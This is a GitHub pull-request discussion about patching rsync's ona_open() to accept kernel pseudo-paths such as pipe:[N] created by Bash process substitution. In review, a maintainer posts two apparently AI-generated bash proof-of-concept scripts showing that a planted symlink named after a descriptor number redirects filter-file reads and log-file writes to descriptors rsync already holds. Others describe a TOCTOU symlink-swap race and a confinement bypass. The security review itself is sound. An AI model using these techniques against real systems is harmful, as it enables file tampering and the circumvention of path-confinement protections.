Fix ENOENT when resolving kernel pseudo-paths in ona_open

[seks99x]

Fixes #1053

What was added:

This PR patches ona_open() to properly handle Linux kernel pseudo-paths (pipes, sockets, etc.) generated by Bash process substitution without triggering an ENOENT error.
String-based detection: After readlinkat() successfully resolves a trusted symlink (like /dev/fd/63), the code now checks if the target is a kernel pseudo-path (pipe:[, socket:[, or anon_inode:[).
Enforcing Leaf Nodes: Added an if (!is_last) check to immediately return ENOTDIR if an operator attempts to traverse a pipe or socket like a directory.
Dropping O_NOFOLLOW: If the pseudo-path passes the above security checks, the function calls openat(dfd, comp, flags & ~O_NOFOLLOW, mode). By dropping the O_NOFOLLOW flag on the final component, we allow the kernel to hook the process into the memory object without treating it as a physical file on disk.

[seks99x]

Regarding the CI: I added pseudo-paths to macos.txt and cygwin.txt since they legitimately lack Linux's native /dev/fd/ process substitution. The Ubuntu runners run and pass the test perfectly.

However, the AlmaLinux runner is still failing the skip oracle (likely because the minimal almalinux:8 container is missing the bash package). I think it should be added through .github/workflows/almalinux-8-build.yml but I can't push any changes to it.

[samueloph]

@seks99x I've analyzed this through and agent and it's flagging a security regression, I don't want to post all the AI blob because I'm not familiar enough with the rsync inner-workings (and not enough time), but these POCs look sound.

I wanted to post this before I get the time to investigate it deeper because I want to avoid a possible security regression.

1. The fd number comes from the symlink's filename, and the only validation is st_ino equality against rsync's own fd table - nothing confirms the path is actually /proc/self/fd. The claim is that a symlink named 3 whose target text is pipe:[N], anywhere on the filesystem, resolves to rsync's own fd 3:

#!/bin/bash
# An ordinary symlink - nothing to do with /proc or /dev/fd - resolving to a
# descriptor rsync already holds open.   Usage: bash repro-a.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-a.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
echo hello > "$lab/src/drop.txt"

# Give rsync an inherited fd 3 holding the text "drop.txt".  This stands in for
# any descriptor the rsync process happens to have open.
exec 3< <(printf 'drop.txt\n')

# The inode the kernel reports for that pipe - the number that appears inside
# the "pipe:[...]" string in /proc/self/fd, and the only thing compared.
ino=$(stat -L -c %i /proc/self/fd/3)

# Plant an ordinary symlink in an ordinary directory.  Two things matter:
#   * its NAME is "3"   -> atoi(comp), then fstat(3) on *rsync's own* fd table
#   * its TARGET is text, not a path -> matches the "pipe:[" prefix test
# The link is dangling.  It is owned by us, i.e. by the euid rsync runs as,
# which is precisely the case ona_open() follows by design.
ln -sfn "pipe:[$ino]" "$lab/plant/3"

echo "planted: $lab/plant/3 -> $(readlink "$lab/plant/3")"
"$RSYNC" -a --exclude-from="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "exit status: $?"
echo "transferred: $(ls "$lab/dest" | tr '\n' ' ')"

3.5.0:   failed to open exclude file .../plant/3: No such file or directory (2)
         exit status: 11, transferred: (nothing)        <-- dangling link, correct

patched: exit status: 0, transferred: keep.txt          <-- filter rules were read
                                                            from rsync's own fd 3

2. dup()/F_DUPFD_CLOEXEC returns the original description, so flags/mode are dropped - the caller gets the original access mode and a shared offset. Claude pointed at batch.c (O_WRONLY|O_CREAT|O_TRUNC), connection.c (O_RDWR|O_CREAT, daemon lock) and log.c (O_APPEND) as callers passing write flags. Its reproducer for the write side:

#!/bin/bash
# The same mechanism reaching a WRITE: --log-file lands in a file the supplied
# path never names.        Usage: bash repro-b.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-b.sh /path/to/rsync}"

lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
printf 'ORIGINAL-LINE-1\nORIGINAL-LINE-2\n' > "$lab/victim"

# fd 3 = a writable descriptor on the victim.  Note this is a REGULAR FILE, not
# a pipe: S_ISFIFO/S_ISSOCK is never checked and st_dev is never compared, so
# only the inode number has to line up.
exec 3<> "$lab/victim"
ino=$(stat -L -c %i /proc/self/fd/3)
ln -sfn "pipe:[$ino]" "$lab/plant/3"

# --log-file asks open_no_attacker_symlinks() for O_WRONLY|O_APPEND|O_CREAT.
# dup() ignores flags and mode and returns the ORIGINAL description.
"$RSYNC" -a --log-file="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "--- $lab/victim after the run ---"; cat "$lab/victim"

3.5.0:   failed to open log-file ... No such file or directory
         victim: ORIGINAL-LINE-1 / ORIGINAL-LINE-2, untouched

patched: victim: ORIGINAL-LINE-1
                 ORIGINAL-LINE-2
                 2026/08/14 22:30:58 [425595] building file list
                 2026/08/14 22:30:58 [425595] >f+++++++++ keep.txt

It also thought the branch returns without the abspath_outside_confinement() / out_abs handling the rest of the walk does, and that the anon_inode:[ arm can't match (real targets are anon_inode:[eventpoll] - a name, not an inode number, so strtoull() yields 0).

[seks99x]

@samueloph thank you so much for the review.
Actually both has nothing to do with the symlink issue, rsync follow trusted UIDs symlink by design (symlinks owned by the same process UID) I tried to change the ownership of the symlink it failed with ELOOP. The only possible ( if im not missing something) issue could happen here is attacker would control what fd to return, which on my mind i don’t find something critical regarding that. attackers most of the time have only control over actual file paths rather than fd.
If you have other thoughts also i would appreciate it.

[seks99x]

The anon_inode issue is real yeah thank you for pointing this.
This would require different handling other than the rest, i assumed they all would produce a long number.
Will push fixes for this tomorrow.

[seks99x]

Im thinking about handling the parent path that it is really coming from /dev/fd for example but im afraid to break a legit case which could come from another path that im not thinking of. From what im seeing UNIX like environments literally have many cases we can’t think of it easily.

@steadytao @samueloph do you think it would be better to handle parent paths to make sure its getting from /proc/self or /dev/fd?

From my own perspective for this to have a proper attack , the privileged process need to be opening a sensitive/privileged file and before calling close() the attacker can plant a symlink naming it as the fd number which would require also a guess. I feel its sophisticated/fanciful and wont work in real world but i want your opinions too.

[steadytao]

I will come back to this one 🤔

[seks99x]

@steadytao I've rebased this PR on the latest master. I also updated the logic to use the new fd_pin_tail(), ensuring we only make exceptions for pseudo-paths that strictly fall under /proc/self/fd or /dev/fd like what we did with the symlinks exceptions. I think this keeps our exceptions handling clean and consistent.

[steadytao]

Looking pretty good thus far!

[seks99x]

@steadytao Thanks for your review! My bad I didn't thought of the flags or noticed the /proc/pid case. I modified fd_pin_tail() to handle the strict process verification to avoid a lot of redundancy here. I also manually enforced the access modes and added two new python tests to make sure we are going right. Could you recheck please?

[steadytao]

This still does not preserve the callers open() contract. A duplicated descriptor retains unrequested flags such as O_APPEND or O_NONBLOCK cannot acquire requested flags absent from the original and shares the original open-file-description offset.

[steadytao]

Why are sockets and anonymous inodes included?

[seks99x]

Looks like that vacation actually affected my focus in a bad way, but I'm back now!

I took a step back and used strace to map out exactly how rsync is handling this flags.

I initially tried to strictly validate O_APPEND, but realized that doing so breaks legitimate use cases like --log-file=>(...). Bash process substitution creates pipes without O_APPEND (just O_WRONLY), while rsync explicitly requests it. If we enforce a strict match, it throws a silent EINVAL:

fcntl(63, F_GETFL)                      = 0x1 (flags O_WRONLY)
rsync: [client] failed to open log-file /dev/fd/63: Invalid argument (22)
Ignoring "log file" setting.

By safely ignoring O_APPEND during the inheritance check, it clones the descriptor and then automatically corrects the flags:

fcntl(63, F_DUPFD_CLOEXEC, 0)           = 3
fcntl(3, F_GETFL)                       = 0x1 (flags O_WRONLY)
fcntl(3, F_SETFL, O_WRONLY|O_APPEND)    = 0

To handle the actual dangerous flags you mentioned (like O_NONBLOCK ), I implemented a strict SHARED_STATUS_FLAGS macro. If the pipe possesses an unrequested dangerous state, it is safely rejected.

Regarding socket:[ and anon_inode:[ , they are whitelisted because they must be handled the exact same way via dup().

• Bash network redirection (e.g., 3< /dev/tcp/...) resolves to socket:[...].
• Diskless memory objects (like eventfd or epoll) resolve to anon_inode:[...]. (You can actually see this by running: python3 -c 'import select, os; ep = select.epoll(); print(os.readlink(f"/proc/self/fd/{ep.fileno()}"))').

I’ve updated the test suite to include a edge case ensuring that an O_RDWR socket correctly satisfies an O_RDONLY request without being falsely blocked by strict O_ACCMODE equality.

Let me know how this looks!

[FusionPow]

This avoids silently inheriting O_NONBLOCK, but returning EINVAL still doesn’t match open(path, flags, mode) here. On Linux, reopening /proc/self/fd/N with O_RDONLY creates a blocking file description. In a delayed-writer exclude-file test, current head exits 11, while a local openat(dfd, comp, flags, mode) version waits for and applies the rule.

The updated pseudo-flags test also leaves the write end open and expects rejection, so it would time out with blocking behavior. Could we reopen the already verified numeric entry instead of duplicating it?

[seks99x]

tracking down all these edge cases is getting a bit tiring.

When I originally opened this PR, I actually started by reopening the descriptor with ⁠openat()⁠ and O_NOFOLLOW However, because we weren't strictly validating the parent base path at the time, using a relative ⁠openat(dfd, comp, ...)⁠ introduced a severe TOCTOU directory traversal vulnerability.
Even since we now check that the path contains a digit in the last component and the absolute path starting with /proc/self/fd or /dev/fd , this still could pose a risk also. If an attacker passed a path like ⁠/proc/self/fd/3/test/4⁠ (where FD 3 points to an attacker-controlled directory like ⁠/tmp/⁠), they could race the ⁠openat⁠ call and swap the ⁠4⁠ symlink to an arbitrary file right after our ⁠readlink⁠ validation passed.

We could hardcode the path:

Current Prefix Validation: The code now explicitly enforces that the ⁠abspath⁠ genuinely started with ⁠/proc/self/fd/⁠ or ⁠/dev/fd/⁠.

Absolute Path hardcoding: Instead of using a relative ⁠openat()⁠ with the abspath or target value we extract the validated integer comp and dynamically construct a hardcoded absolute path (⁠/proc/self/fd/%d⁠) %d since we already validated it correctly ( last component, is digit and in our process ). Then calling open() on this hardcoded path should be safe i guess.

Hopefully, this finally puts these boundary issues to rest!

@steadytao what do you think? I feel handling this perfectly using dup() is getting complex/dangerous.

I’ll push updates tomorrow.

[FusionPow]

This return still happens before the --confine-root check below. I reproduced it with a per-directory merge that names an inherited /proc/self/fd/N pipe: current head reads the pipe and applies its rule even though the anonymous object has no target beneath the confined root.

Could we apply the confinement decision before returning and add an in-band merge regression? A command-line --exclude-from test is opened too early to exercise this boundary.